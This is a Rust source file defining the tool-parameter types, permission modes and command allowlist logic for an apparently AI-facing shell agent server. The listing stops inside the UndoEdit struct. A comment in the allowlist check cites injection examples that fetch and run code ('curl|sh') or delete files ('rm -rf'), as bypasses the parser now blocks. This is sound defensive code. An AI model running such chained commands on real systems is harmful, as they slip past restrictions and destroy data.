Skip to main content

winx_code_agent/
types.rs

1use schemars::JsonSchema;
2use serde::{Deserialize, Serialize};
3
4pub fn normalize_thread_id(thread_id: &str) -> String {
5    let filtered: String = thread_id.chars().filter(|c| c.is_alphanumeric() || *c == '_').collect();
6    // If filtering removed characters, distinct ids could collapse to the same
7    // form ("user-1" and "user1" both become "user1"), silently sharing one
8    // session and one state file. Append a short, stable hash of the ORIGINAL so
9    // distinct inputs stay distinct. Already-safe ids (the common case, incl.
10    // generated `tid_*`) and ids that filter to empty are returned unchanged.
11    if filtered.is_empty() || filtered == thread_id {
12        filtered
13    } else {
14        format!("{filtered}_{:08x}", fnv1a_32(thread_id))
15    }
16}
17
18/// Marker strings (literal or regex) that let `wait_for_turn` drive an arbitrary
19/// interactive TUI without a hand-written recognizer. Loaded from the
20/// `WINX_TURN_RECOGNIZER_CONFIG` env var (JSON) when the recognizer hint is
21/// `configurable`. Each marker is matched case-insensitively; an invalid regex
22/// falls back to a literal-substring match.
23#[derive(Debug, Clone, Default, Deserialize)]
24pub struct TurnRecognizerMarkers {
25    /// Screen is actively working (scanned across the whole screen). E.g.
26    /// `["esc to interrupt", "generating"]`.
27    #[serde(default)]
28    pub busy: Vec<String>,
29    /// Screen is waiting for input (scanned in the tail). E.g. `["❯", "›"]`.
30    #[serde(default)]
31    pub awaiting_input: Vec<String>,
32    /// Screen is asking for confirmation (scanned in the tail). E.g.
33    /// `["do you want", "y/n"]`.
34    #[serde(default)]
35    pub awaiting_approval: Vec<String>,
36}
37
38impl TurnRecognizerMarkers {
39    /// True when no markers are configured (nothing to recognize).
40    pub fn is_empty(&self) -> bool {
41        self.busy.is_empty() && self.awaiting_input.is_empty() && self.awaiting_approval.is_empty()
42    }
43}
44
45/// FNV-1a 32-bit — a tiny, dependency-free hash that is stable across runs and
46/// compiler versions (unlike `DefaultHasher`), so a normalized `thread_id`
47/// resolves to the same session and state file after a server restart.
48fn fnv1a_32(s: &str) -> u32 {
49    let mut hash: u32 = 0x811c_9dc5;
50    for byte in s.bytes() {
51        hash ^= u32::from(byte);
52        hash = hash.wrapping_mul(0x0100_0193);
53    }
54    hash
55}
56
57/// Type of shell environment initialization
58///
59/// This enum represents the different ways the Initialize tool can be called,
60/// depending on the current state of the conversation and what the user is requesting.
61#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq)]
62#[serde(rename_all = "snake_case")]
63pub enum InitializeType {
64    /// Initial call at the start of a conversation
65    ///
66    /// This should be used for the first Initialize call in a conversation.
67    /// It sets up a new shell environment with the specified parameters.
68    FirstCall,
69
70    /// User requested to change the mode
71    ///
72    /// This should be used when the user asks to switch between modes
73    /// (e.g., from "wcgw" to "architect" or "`code_writer`").
74    UserAskedModeChange,
75
76    /// Reset the shell environment due to issues
77    ///
78    /// This should be used when the shell environment appears to be in a bad state
79    /// and needs to be reset to continue properly.
80    ResetShell,
81
82    /// User requested to change the workspace
83    ///
84    /// This should be used when the user asks to switch to a different
85    /// workspace or project directory during the conversation.
86    UserAskedChangeWorkspace,
87}
88
89#[derive(Debug, Clone, PartialEq)]
90pub enum ModeName {
91    Wcgw,
92    Architect,
93    CodeWriter,
94}
95
96// Custom serializer implementation to ensure values are properly quoted in JSON
97impl Serialize for ModeName {
98    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
99    where
100        S: serde::Serializer,
101    {
102        match self {
103            ModeName::Wcgw => serializer.serialize_str("wcgw"),
104            ModeName::Architect => serializer.serialize_str("architect"),
105            ModeName::CodeWriter => serializer.serialize_str("code_writer"),
106        }
107    }
108}
109
110// Custom deserializer to support multiple aliases
111impl<'de> Deserialize<'de> for ModeName {
112    fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
113    where
114        D: serde::Deserializer<'de>,
115    {
116        let s = String::deserialize(deserializer)?;
117        match s.as_str() {
118            "wcgw" => Ok(ModeName::Wcgw),
119            "architect" => Ok(ModeName::Architect),
120            "code_writer" | "code_write" | "code-writer" => Ok(ModeName::CodeWriter),
121            _ => Err(serde::de::Error::custom(format!("Unknown mode name: {s}"))),
122        }
123    }
124}
125
126// Implement schema generation for JSON schema since we removed the derive
127impl JsonSchema for ModeName {
128    fn schema_name() -> std::borrow::Cow<'static, str> {
129        "ModeName".into()
130    }
131
132    fn json_schema(_gen: &mut schemars::SchemaGenerator) -> schemars::Schema {
133        schemars::Schema::new_ref("#/definitions/ModeName".to_string())
134    }
135}
136
137#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq, Default)]
138pub struct CodeWriterConfig {
139    #[serde(default)]
140    pub allowed_globs: AllowedGlobs,
141    #[serde(default)]
142    pub allowed_commands: AllowedCommands,
143}
144
145impl CodeWriterConfig {
146    pub fn update_relative_globs(&mut self, workspace_root: &str) {
147        // Only process if we have a list of globs
148        if let AllowedGlobs::List(globs) = &self.allowed_globs {
149            let updated_globs = globs
150                .iter()
151                .map(|glob| {
152                    if std::path::Path::new(glob).is_absolute() {
153                        glob.clone()
154                    } else {
155                        format!("{workspace_root}/{glob}")
156                    }
157                })
158                .collect();
159
160            self.allowed_globs = AllowedGlobs::List(updated_globs);
161        }
162    }
163}
164
165#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq)]
166#[serde(untagged)]
167pub enum AllowedGlobs {
168    All(String),
169    List(Vec<String>),
170}
171
172impl Default for AllowedGlobs {
173    fn default() -> Self {
174        AllowedGlobs::All("all".to_string())
175    }
176}
177
178impl AllowedGlobs {
179    /// Collapse the common LLM mistake `["all"]` into the wildcard `All("all")`.
180    /// Without this, a literal glob named "all" would be the only allowed path.
181    pub fn normalize(&mut self) {
182        if let AllowedGlobs::List(items) = self {
183            if items.len() == 1 && items[0] == "all" {
184                *self = AllowedGlobs::All("all".to_string());
185            }
186        }
187    }
188
189    #[allow(dead_code)]
190    pub fn is_allowed(&self, path: &str) -> bool {
191        match self {
192            AllowedGlobs::All(s) if s == "all" => true,
193            AllowedGlobs::List(globs) => globs.iter().any(|g| match glob::Pattern::new(g) {
194                Ok(pattern) => pattern.matches(path),
195                Err(_) => false,
196            }),
197            AllowedGlobs::All(_) => false,
198        }
199    }
200}
201
202#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq)]
203#[serde(untagged)]
204pub enum AllowedCommands {
205    All(String),
206    List(Vec<String>),
207}
208
209impl Default for AllowedCommands {
210    fn default() -> Self {
211        AllowedCommands::All("all".to_string())
212    }
213}
214
215impl AllowedCommands {
216    /// Collapse the common LLM mistake `["all"]` into the wildcard `All("all")`.
217    pub fn normalize(&mut self) {
218        if let AllowedCommands::List(items) = self {
219            if items.len() == 1 && items[0] == "all" {
220                *self = AllowedCommands::All("all".to_string());
221            }
222        }
223    }
224
225    pub fn is_allowed(&self, command_line: &str) -> bool {
226        match self {
227            AllowedCommands::All(s) if s == "all" => true,
228            AllowedCommands::All(_) => false,
229            AllowedCommands::List(commands) => {
230                // Enforce the allowlist against EVERY command the line would run
231                // (pipelines, &&/||/;, command & process substitution, subshells),
232                // not just the first whitespace token — which `ls && curl|sh` and
233                // `ls $(rm -rf x)` trivially bypassed. A parse failure is fail
234                // closed: a restricted mode must not run what it can't vet.
235                match crate::utils::bash_parser::extract_command_texts(command_line) {
236                    Ok(cmds) if !cmds.is_empty() => cmds
237                        .iter()
238                        .all(|cmd| commands.iter().any(|allowed| command_has_prefix(cmd, allowed))),
239                    _ => false,
240                }
241            }
242        }
243    }
244}
245
246/// Whether `cmd` is the allowlist entry `allowed` or a sub-invocation of it,
247/// enforcing a word boundary so `ls` does not also permit `lsof`, and
248/// `cargo test` does not permit `cargo testimony`.
249fn command_has_prefix(cmd: &str, allowed: &str) -> bool {
250    let cmd = cmd.trim();
251    let allowed = allowed.trim();
252    if allowed.is_empty() {
253        return false;
254    }
255    cmd == allowed
256        || cmd.strip_prefix(allowed).is_some_and(|rest| rest.starts_with(char::is_whitespace))
257}
258
259/// Parameters for initializing the shell environment
260///
261/// This struct represents the parameters needed to initialize or update the shell environment.
262/// It is used by the Initialize tool, which must be called before any other shell tools.
263#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone)]
264pub struct Initialize {
265    /// Initialization type, indicating the purpose of the call
266    ///
267    /// - `FirstCall`: Initial setup for a new conversation
268    /// - `UserAskedModeChange`: User requested to change the mode during a conversation
269    /// - `ResetShell`: Reset the shell if it's not working properly
270    /// - `UserAskedChangeWorkspace`: User requested to change the workspace during a conversation
271    #[serde(rename = "type")]
272    #[serde(default = "default_init_type")]
273    pub init_type: InitializeType,
274
275    /// Path to the workspace directory or file
276    ///
277    /// This can be an absolute path or a path relative to the current directory.
278    /// If it's a file, the parent directory will be used as the workspace.
279    /// If it doesn't exist and is an absolute path, it will be created.
280    /// If it's a relative path and doesn't exist, an error will be returned.
281    pub any_workspace_path: String,
282
283    /// List of files to read initially
284    ///
285    /// These files can be absolute paths or paths relative to the workspace.
286    /// They will be read and their contents provided in the response.
287    #[serde(default)]
288    pub initial_files_to_read: Vec<String>,
289
290    /// ID of a task to resume
291    ///
292    /// If provided during a `first_call`, the task with this ID will be resumed.
293    /// This allows continuing a conversation from a previous session.
294    #[serde(default = "String::new")]
295    #[serde(deserialize_with = "deserialize_string_or_null")]
296    pub task_id_to_resume: String,
297
298    /// Mode name for the shell environment
299    ///
300    /// - `wcgw`: Full permissions (default)
301    /// - `architect`: Restricted permissions, read-only
302    /// - `code_writer`: Custom permissions for code writing
303    #[serde(default = "default_mode_name")]
304    pub mode_name: ModeName,
305
306    /// ID of the thread session
307    ///
308    /// If not provided for a `first_call`, a new ID will be generated.
309    /// This ID must be included in all subsequent tool calls.
310    #[serde(default)]
311    #[serde(deserialize_with = "deserialize_string_or_null")]
312    pub thread_id: String,
313
314    /// Configuration for `code_writer` mode
315    ///
316    /// Only used when `mode_name` is "`code_writer`".
317    /// Specifies allowed commands and file globs for writing/editing.
318    #[serde(default)]
319    #[serde(deserialize_with = "deserialize_code_writer_config")]
320    pub code_writer_config: Option<CodeWriterConfig>,
321}
322
323// Custom deserializer for strings that might be null
324fn deserialize_string_or_null<'de, D>(deserializer: D) -> Result<String, D::Error>
325where
326    D: serde::Deserializer<'de>,
327{
328    // First try to deserialize as a string
329    let result = serde_json::Value::deserialize(deserializer)?;
330
331    match result {
332        // Return empty string for null values
333        serde_json::Value::Null => Ok(String::new()),
334        // If it's a string, use that
335        serde_json::Value::String(s) => {
336            // Handle "null" string specially
337            if s == "null" {
338                Ok(String::new())
339            } else {
340                Ok(s)
341            }
342        }
343        // Otherwise try to convert to a string
344        _ => match serde_json::to_string(&result) {
345            Ok(s) => Ok(s),
346            Err(_) => Ok(String::new()),
347        },
348    }
349}
350
351// Custom deserializer for code_writer_config that handles the "null" string case
352fn deserialize_code_writer_config<'de, D>(
353    deserializer: D,
354) -> Result<Option<CodeWriterConfig>, D::Error>
355where
356    D: serde::Deserializer<'de>,
357{
358    // This handles multiple possible input types
359    let value = serde_json::Value::deserialize(deserializer)?;
360
361    match value {
362        // If it's explicitly null or the string "null", return None
363        serde_json::Value::Null => Ok(None),
364        serde_json::Value::String(s) if s == "null" => Ok(None),
365        // Otherwise try to parse it as CodeWriterConfig
366        _ => {
367            match serde_json::from_value::<CodeWriterConfig>(value.clone()) {
368                Ok(config) => {
369                    tracing::debug!("Successfully parsed CodeWriterConfig: {:?}", config);
370                    Ok(Some(config))
371                }
372                Err(e) => {
373                    // Fail loud. A malformed restricted-mode config must NOT silently
374                    // degrade to `None` — `None` falls back to All commands / All globs,
375                    // so the model would believe the shell is locked down while it is in
376                    // fact wide open. Refuse to initialize instead.
377                    tracing::error!("Failed to parse CodeWriterConfig: {}. Value: {}", e, value);
378                    Err(serde::de::Error::custom(format!(
379                        "Invalid code_writer config: {e}. Refusing to start with a permissive \
380                         fallback — fix the allowed_commands / allowed_globs shape (or pass null \
381                         to opt out explicitly)."
382                    )))
383                }
384            }
385        }
386    }
387}
388
389/// Default `mode_name` for Initialize
390fn default_mode_name() -> ModeName {
391    ModeName::Wcgw
392}
393
394/// Default `init_type` for Initialize
395fn default_init_type() -> InitializeType {
396    InitializeType::FirstCall
397}
398
399// Mode types
400#[derive(Debug, Clone, Copy, PartialEq)]
401pub enum Modes {
402    Wcgw,
403    Architect,
404    CodeWriter,
405}
406
407/// Convert the wire-level `ModeName` (parsed from the `Initialize` request, with
408/// its alias spellings) into the runtime `Modes`. Done as `From` rather than a
409/// hand-written `convert_mode_name` so the compiler enforces that every `ModeName`
410/// variant maps to a `Modes` one — adding a variant to either enum without the
411/// other becomes a compile error here.
412impl From<&ModeName> for Modes {
413    fn from(name: &ModeName) -> Self {
414        match name {
415            ModeName::Wcgw => Modes::Wcgw,
416            ModeName::Architect => Modes::Architect,
417            ModeName::CodeWriter => Modes::CodeWriter,
418        }
419    }
420}
421
422impl std::fmt::Display for Modes {
423    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
424        match self {
425            Modes::Wcgw => write!(f, "wcgw"),
426            Modes::Architect => write!(f, "architect"),
427            Modes::CodeWriter => write!(f, "code_writer"),
428        }
429    }
430}
431
432// Implement schema generation for Modes
433impl JsonSchema for Modes {
434    fn schema_name() -> std::borrow::Cow<'static, str> {
435        "Modes".into()
436    }
437
438    fn json_schema(_gen: &mut schemars::SchemaGenerator) -> schemars::Schema {
439        schemars::Schema::new_ref("#/definitions/Modes".to_string())
440    }
441}
442
443/// Special key types for shell interaction
444/// Matches wcgw Python's Specials enum exactly
445#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize, JsonSchema)]
446pub enum SpecialKey {
447    Enter,
448    #[serde(rename = "Key-up")]
449    KeyUp,
450    #[serde(rename = "Key-down")]
451    KeyDown,
452    #[serde(rename = "Key-left")]
453    KeyLeft,
454    #[serde(rename = "Key-right")]
455    KeyRight,
456    #[serde(rename = "Ctrl-c")]
457    CtrlC,
458    #[serde(rename = "Ctrl-d")]
459    CtrlD,
460    #[serde(rename = "Ctrl-z")]
461    CtrlZ,
462}
463
464/// Parameters for the `ReadFiles` tool
465///
466/// This struct represents the parameters needed to read one or more files.
467/// Line ranges can be specified in the path itself (e.g., "file.rs:10-20").
468#[derive(Debug, Clone, Serialize, JsonSchema)]
469pub struct ReadFiles {
470    /// List of file paths to read.
471    /// Supports line range syntax: "file.rs:10-20" for lines 10-20,
472    /// "file.rs:10-" for line 10 onwards, "file.rs:-20" for first 20 lines.
473    pub file_paths: Vec<String>,
474
475    /// Optional thread ID identifying the shell session to operate on. When
476    /// omitted, the most recently active session is used.
477    #[serde(default)]
478    pub thread_id: String,
479
480    // Internal fields - not part of MCP schema (parsed from file_paths)
481    #[serde(skip)]
482    #[schemars(skip)]
483    pub start_line_nums: Vec<Option<usize>>,
484
485    #[serde(skip)]
486    #[schemars(skip)]
487    pub end_line_nums: Vec<Option<usize>>,
488}
489
490// Custom deserializer for ReadFiles - parses line ranges from file paths like wcgw Python
491impl<'de> Deserialize<'de> for ReadFiles {
492    fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
493    where
494        D: serde::Deserializer<'de>,
495    {
496        #[derive(Deserialize)]
497        struct ReadFilesHelper {
498            file_paths: Option<Vec<String>>,
499            #[serde(default)]
500            thread_id: Option<String>,
501        }
502
503        let input = serde_json::Value::deserialize(deserializer)?;
504
505        if !input.is_object() {
506            if input.is_null() {
507                return Err(serde::de::Error::custom("Cannot convert null to ReadFiles object."));
508            }
509            return Err(serde::de::Error::custom(format!("Expected object, got {input}")));
510        }
511
512        let helper: ReadFilesHelper = serde_json::from_value(input)
513            .map_err(|e| serde::de::Error::custom(format!("Failed to parse ReadFiles: {e}")))?;
514
515        let thread_id = helper.thread_id.unwrap_or_default();
516        let file_paths = match helper.file_paths {
517            Some(paths) if !paths.is_empty() => paths,
518            Some(_) => return Err(serde::de::Error::custom("file_paths must not be empty.")),
519            None => return Err(serde::de::Error::custom("file_paths is required.")),
520        };
521
522        // Parse line ranges from file paths (like wcgw Python's model_post_init)
523        let mut clean_file_paths = Vec::with_capacity(file_paths.len());
524        let mut start_line_nums = Vec::with_capacity(file_paths.len());
525        let mut end_line_nums = Vec::with_capacity(file_paths.len());
526
527        for path in file_paths {
528            let (clean_path, start, end) = parse_file_path_with_line_range(&path);
529            clean_file_paths.push(clean_path);
530            start_line_nums.push(start);
531            end_line_nums.push(end);
532        }
533
534        Ok(ReadFiles { file_paths: clean_file_paths, thread_id, start_line_nums, end_line_nums })
535    }
536}
537
538fn parse_file_path_with_line_range(path: &str) -> (String, Option<usize>, Option<usize>) {
539    let Some((potential_path, line_spec)) = path.rsplit_once(':') else {
540        return (path.to_string(), None, None);
541    };
542
543    let Some((start, end)) = parse_line_spec(line_spec) else {
544        return (path.to_string(), None, None);
545    };
546
547    (potential_path.to_string(), start, end)
548}
549
550fn parse_line_spec(line_spec: &str) -> Option<(Option<usize>, Option<usize>)> {
551    if line_spec.chars().all(|c| c.is_ascii_digit()) {
552        return line_spec.parse().ok().map(|line| (Some(line), None));
553    }
554
555    let (start, end) = line_spec.split_once('-')?;
556
557    if start.is_empty() && !end.is_empty() && end.chars().all(|c| c.is_ascii_digit()) {
558        return end.parse().ok().map(|line| (None, Some(line)));
559    }
560
561    if !start.is_empty()
562        && start.chars().all(|c| c.is_ascii_digit())
563        && (end.is_empty() || end.chars().all(|c| c.is_ascii_digit()))
564    {
565        let start = start.parse().ok()?;
566        let end = if end.is_empty() { None } else { Some(end.parse().ok()?) };
567        return Some((Some(start), end));
568    }
569
570    None
571}
572
573impl ReadFiles {
574    /// Line numbers are always shown (like wcgw Python)
575    pub fn show_line_numbers(&self) -> bool {
576        true
577    }
578
579    /// Get the clean file path without line range suffix
580    pub fn get_clean_path(&self, index: usize) -> String {
581        parse_file_path_with_line_range(&self.file_paths[index]).0
582    }
583}
584
585/// Default true value for `status_check`
586fn default_true() -> bool {
587    true
588}
589
590/// Types of actions that can be performed with the `BashCommand` tool
591#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
592#[serde(tag = "type", rename_all = "snake_case")]
593pub enum BashCommandAction {
594    /// Execute a shell command
595    Command {
596        command: String,
597        #[serde(default)]
598        is_background: bool,
599        /// Opt out of the single-top-level-statement guard. By default winx
600        /// rejects multi-statement commands (`a; b`, `a && b; c`, etc.) so the
601        /// agent has to be explicit about what it's running. Set this to true
602        /// when you knowingly want to run a composite command without
603        /// wrapping it in `bash -lc '...'`.
604        #[serde(default)]
605        allow_multi: bool,
606    },
607
608    /// Check the status of a running command.
609    ///
610    /// By default returns only what changed since the previous call — agents
611    /// driving long-lived TUIs do not need the cumulative buffer on every poll.
612    /// Set `verbose: true` to receive a fresh snapshot regardless of the dedup
613    /// hash, or `scrollback_lines: Some(N)` to also pull the last N lines from
614    /// the PTY ringbuffer.
615    StatusCheck {
616        #[serde(default = "default_true")]
617        status_check: bool,
618        bg_command_id: Option<String>,
619        #[serde(default)]
620        scrollback_lines: Option<usize>,
621        #[serde(default)]
622        verbose: bool,
623    },
624
625    /// Send text to a running command. Set `submit` to true to append a carriage
626    /// return after the bytes so the target program receives the input as a
627    /// completed line (matches what hitting Enter would do in a TUI).
628    SendText {
629        send_text: String,
630        bg_command_id: Option<String>,
631        #[serde(default)]
632        submit: bool,
633    },
634
635    /// Send special keys to a running command. `submit` works the same as in
636    /// `SendText`.
637    SendSpecials {
638        send_specials: Vec<SpecialKey>,
639        bg_command_id: Option<String>,
640        #[serde(default)]
641        submit: bool,
642    },
643
644    /// Send ASCII characters to a running command. `submit` works the same as in
645    /// `SendText`.
646    SendAscii {
647        send_ascii: Vec<u8>,
648        bg_command_id: Option<String>,
649        #[serde(default)]
650        submit: bool,
651    },
652
653    /// Snapshot the live, stable screen of a shell's terminal: the consolidated
654    /// view a human would see right now (cursor moves, redraws, alternate-screen
655    /// and synchronized-output already applied), ANSI stripped. Unlike
656    /// `status_check`, it never stacks redraw generations and never waits — a
657    /// point-in-time photo, ideal for reading an interactive TUI's current frame
658    /// (the `claude` CLI, vim, htop, fzf).
659    Screen {
660        #[serde(default = "default_true")]
661        screen: bool,
662        bg_command_id: Option<String>,
663        /// Last N visible lines to return (0 or omitted = full screen buffer).
664        #[serde(default)]
665        lines: Option<usize>,
666        /// When true, return only the lines that CHANGED since the last `screen`
667        /// look (big token savings when polling a TUI frame-by-frame) instead of
668        /// the whole frame. First look, or a large change, still returns full.
669        #[serde(default)]
670        diff: bool,
671    },
672
673    /// Block until an interactive TUI finishes its turn and is ready for input.
674    /// Combines generic quiescence (the screen stopped changing for `quiet_ms`)
675    /// with a per-app recognizer, then returns the stable snapshot plus the
676    /// detected turn state (`busy` / `awaiting_input` / `awaiting_approval`).
677    WaitForTurn {
678        #[serde(default = "default_true")]
679        wait_for_turn: bool,
680        bg_command_id: Option<String>,
681        /// Recognizer hint: `auto` (default), `claude`, `codex`, `antigravity`
682        /// (aka `agy`) or `generic`.
683        #[serde(default)]
684        recognizer: Option<String>,
685        /// Quiet window in ms — the screen must be unchanged this long to count
686        /// as idle (default 600).
687        #[serde(default)]
688        quiet_ms: Option<u64>,
689        /// Hard cap in seconds before returning regardless (default 30).
690        #[serde(default)]
691        timeout_seconds: Option<f32>,
692        /// Visible lines to return in the final snapshot (0 or omitted = full).
693        #[serde(default)]
694        lines: Option<usize>,
695    },
696}
697
698/// Parameters for the `BashCommand` tool
699#[derive(Debug, Clone, Serialize, JsonSchema)]
700pub struct BashCommand {
701    /// The action to perform (command, status check, etc.)
702    pub action_json: BashCommandAction,
703
704    /// Optional timeout in seconds to wait for command completion
705    #[serde(default)]
706    #[serde(skip_serializing_if = "Option::is_none")]
707    pub wait_for_seconds: Option<f32>,
708
709    /// The thread ID for this session
710    #[serde(default)]
711    pub thread_id: String,
712}
713
714// Custom deserialization for BashCommand to handle string-encoded action_json
715impl<'de> Deserialize<'de> for BashCommand {
716    fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
717    where
718        D: serde::Deserializer<'de>,
719    {
720        let input = serde_json::Value::deserialize(deserializer)?;
721        let serde_json::Value::Object(mut map) = input else {
722            return Err(serde::de::Error::custom("BashCommand parameters must be an object."));
723        };
724
725        let wait_for_seconds = map
726            .remove("wait_for_seconds")
727            .map(serde_json::from_value)
728            .transpose()
729            .map_err(serde::de::Error::custom)?;
730        let thread_id = map
731            .remove("thread_id")
732            .map(thread_id_from_value)
733            .transpose()
734            .map_err(serde::de::Error::custom)?
735            .unwrap_or_default();
736        let action_json_value = map.remove("action_json").unwrap_or(serde_json::Value::Object(map));
737
738        // Process action_json which could be a string or an object
739        let action_json = match action_json_value {
740            serde_json::Value::String(s) => {
741                // If it's a string, normalize newlines and try to parse it as JSON
742                // Replace literal newlines with space to avoid JSON parsing errors
743                let sanitized = s.replace('\n', " ");
744                match serde_json::from_str(&sanitized) {
745                    Ok(json) => normalize_action_json(json),
746                    Err(e) => {
747                        // If strict JSON parsing fails, try to be more lenient
748                        // For commands containing literal newlines, just wrap the string in a command object
749                        tracing::warn!(
750                            "Failed to parse action_json as JSON, trying fallback: {}",
751                            e
752                        );
753
754                        // Check for common JSON syntax issues
755                        if s.contains("command") && s.contains('{') && s.contains('}') {
756                            // It looks like JSON but has issues, let's try to sanitize it
757
758                            // Detailed error for troubleshooting
759                            tracing::debug!("JSON parse error on: {}", s);
760
761                            // Common issues: unescaped quotes, newlines, tabs
762                            let re_sanitized = s
763                                .replace('\n', "\\n") // Replace newlines with escaped newlines
764                                .replace('\r', "\\r") // Replace carriage returns with escaped versions
765                                .replace('\t', "\\t"); // Replace tabs with escaped versions
766
767                            // Attempt to fix unquoted field values (e.g., convert {field: value} to {"field": "value"})
768                            let re_sanitized = if !s.contains('"') && s.contains(':') {
769                                // Very likely unquoted keys/values
770                                tracing::debug!("Attempting to fix unquoted JSON keys/values");
771                                re_sanitized
772                            } else {
773                                re_sanitized
774                            };
775
776                            match serde_json::from_str(&re_sanitized) {
777                                Ok(json) => normalize_action_json(json),
778                                Err(err) => {
779                                    // Log the specific parsing error for debugging
780                                    tracing::error!("Secondary JSON parse error: {}", err);
781                                    // Last resort fallback - assume it's a command string
782                                    // MUST include "type": "command" for serde tagged enum
783                                    serde_json::json!({"type": "command", "command": sanitize_shell_string(&s)})
784                                }
785                            }
786                        } else {
787                            // Assume it's a simple command string
788                            // MUST include "type": "command" for serde tagged enum
789                            tracing::info!("Treating as simple command: {}", s);
790                            serde_json::json!({"type": "command", "command": sanitize_shell_string(&s)})
791                        }
792                    }
793                }
794            }
795            // If it's already an object or other JSON value, normalize legacy
796            // WCGW-style shorthand such as {"command": "..."}.
797            value => normalize_action_json(value),
798        };
799
800        // Now deserialize the action_json to our BashCommandAction enum
801        let mut action: BashCommandAction =
802            serde_json::from_value(action_json.clone()).map_err(|e| {
803// Log both the error and the problematic JSON for debugging
804tracing::error!(
805    "Failed to deserialize action_json to BashCommandAction: {}\nProblematic JSON: {}",
806    e,
807    action_json
808);
809
810// For the SyntaxError: Unexpected token case
811let err_str = e.to_string();
812if err_str.contains("unexpected token") || err_str.contains("Unexpected token") {
813    return serde::de::Error::custom(format!(
814        "JSON syntax error: {e}. Please check your JSON structure. Each field name should be in quotes, and string values should be in quotes."
815    ));
816}
817
818serde::de::Error::custom(format!("Invalid action_json: {e}. Please ensure your JSON is properly formatted."))
819        })?;
820
821        // Return the properly constructed BashCommand
822        Ok(BashCommand {
823            action_json: action,
824            wait_for_seconds,
825            thread_id: normalize_thread_id(&thread_id),
826        })
827    }
828}
829
830fn thread_id_from_value(value: serde_json::Value) -> std::result::Result<String, String> {
831    match value {
832        serde_json::Value::Null => Ok(String::new()),
833        serde_json::Value::String(value) => Ok(value),
834        other => Err(format!("thread_id must be a string or null, got {other}")),
835    }
836}
837
838fn normalize_action_json(mut value: serde_json::Value) -> serde_json::Value {
839    let serde_json::Value::Object(map) = &mut value else {
840        return value;
841    };
842
843    if let Some(serde_json::Value::String(command)) = map.get_mut("command") {
844        *command = sanitize_shell_string(command);
845    }
846
847    if map.contains_key("type") {
848        return value;
849    }
850
851    let inferred_type = if map.contains_key("command") {
852        Some("command")
853    } else if map.contains_key("status_check") {
854        Some("status_check")
855    } else if map.contains_key("send_text") {
856        Some("send_text")
857    } else if map.contains_key("send_specials") {
858        Some("send_specials")
859    } else if map.contains_key("send_ascii") {
860        Some("send_ascii")
861    } else if map.contains_key("screen") {
862        Some("screen")
863    } else if map.contains_key("wait_for_turn") {
864        Some("wait_for_turn")
865    } else {
866        None
867    };
868
869    if let Some(action_type) = inferred_type {
870        map.insert("type".to_string(), serde_json::Value::String(action_type.to_string()));
871    }
872
873    value
874}
875
876fn sanitize_shell_string(value: &str) -> String {
877    value.replace('\0', "\\x00")
878}
879
880// Bash command mode
881#[derive(Debug, Clone, JsonSchema, PartialEq)]
882pub struct BashCommandMode {
883    pub bash_mode: BashMode,
884    pub allowed_commands: AllowedCommands,
885}
886
887#[derive(Debug, Clone, Copy, JsonSchema, PartialEq)]
888pub enum BashMode {
889    NormalMode,
890    RestrictedMode,
891}
892
893// File edit mode
894#[derive(Debug, Clone, JsonSchema, PartialEq)]
895pub struct FileEditMode {
896    pub allowed_globs: AllowedGlobs,
897}
898
899// Write if empty mode
900#[derive(Debug, Clone, JsonSchema, PartialEq)]
901pub struct WriteIfEmptyMode {
902    pub allowed_globs: AllowedGlobs,
903}
904
905/// Parameters for the `FileWriteOrEdit` tool
906///
907/// This struct represents the parameters needed to write or edit a file
908/// with optional search/replace blocks for partial edits.
909#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
910pub struct FileWriteOrEdit {
911    /// Path to the file to write or edit
912    ///
913    /// This must be an absolute path (~ allowed).
914    pub file_path: String,
915
916    /// Percentage of the file that will be changed
917    ///
918    /// If > 50%, the content is treated as the entire file content.
919    /// If <= 50%, the content is treated as search/replace blocks.
920    pub percentage_to_change: u32,
921
922    /// Content for the file or search/replace blocks
923    ///
924    /// If `percentage_to_change` > 50%, this is the entire file content.
925    /// If `percentage_to_change` <= 50%, this contains search/replace blocks
926    /// in the format:
927    /// ```text
928    /// <<<<<<< SEARCH
929    /// old content to find
930    /// =======
931    /// new content to replace with
932    /// >>>>>>> REPLACE
933    /// ```
934    pub text_or_search_replace_blocks: String,
935
936    /// The thread ID for this session
937    pub thread_id: String,
938}
939
940/// One file's worth of edits in a [`MultiFileEdit`] batch. Same semantics as the
941/// corresponding [`FileWriteOrEdit`] fields.
942#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
943pub struct FileEditEntry {
944    /// Path to the file to write or edit (absolute, ~ allowed).
945    pub file_path: String,
946    /// If > 50%, the content is the entire file; if <= 50%, search/replace blocks.
947    pub percentage_to_change: u32,
948    /// Full file content or search/replace blocks (see `FileWriteOrEdit`).
949    pub text_or_search_replace_blocks: String,
950}
951
952/// Parameters for the `MultiFileEdit` tool: apply edits across several files
953/// all-or-nothing at the COMPUTE stage.
954///
955/// Every file is validated and its new content computed in memory first; only
956/// if ALL succeed are any writes performed. So a SEARCH that fails to match in
957/// the last file leaves the first files untouched. The write stage is a sequence
958/// of atomic single-file renames and stops at the first I/O failure (already
959/// written files are not rolled back, which is reported clearly).
960#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
961pub struct MultiFileEdit {
962    /// Two or more files to edit together. For a single file use `FileWriteOrEdit`.
963    pub files: Vec<FileEditEntry>,
964
965    /// The thread ID for this session
966    pub thread_id: String,
967}
968
969/// Parameters for the `UndoEdit` tool: revert a file to its content before the
970/// last `FileWriteOrEdit`/`MultiFileEdit` in this session.
971#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
972pub struct UndoEdit {
973    /// Path of the file whose last edit should be reverted (absolute, ~ allowed).
974    pub file_path: String,
975
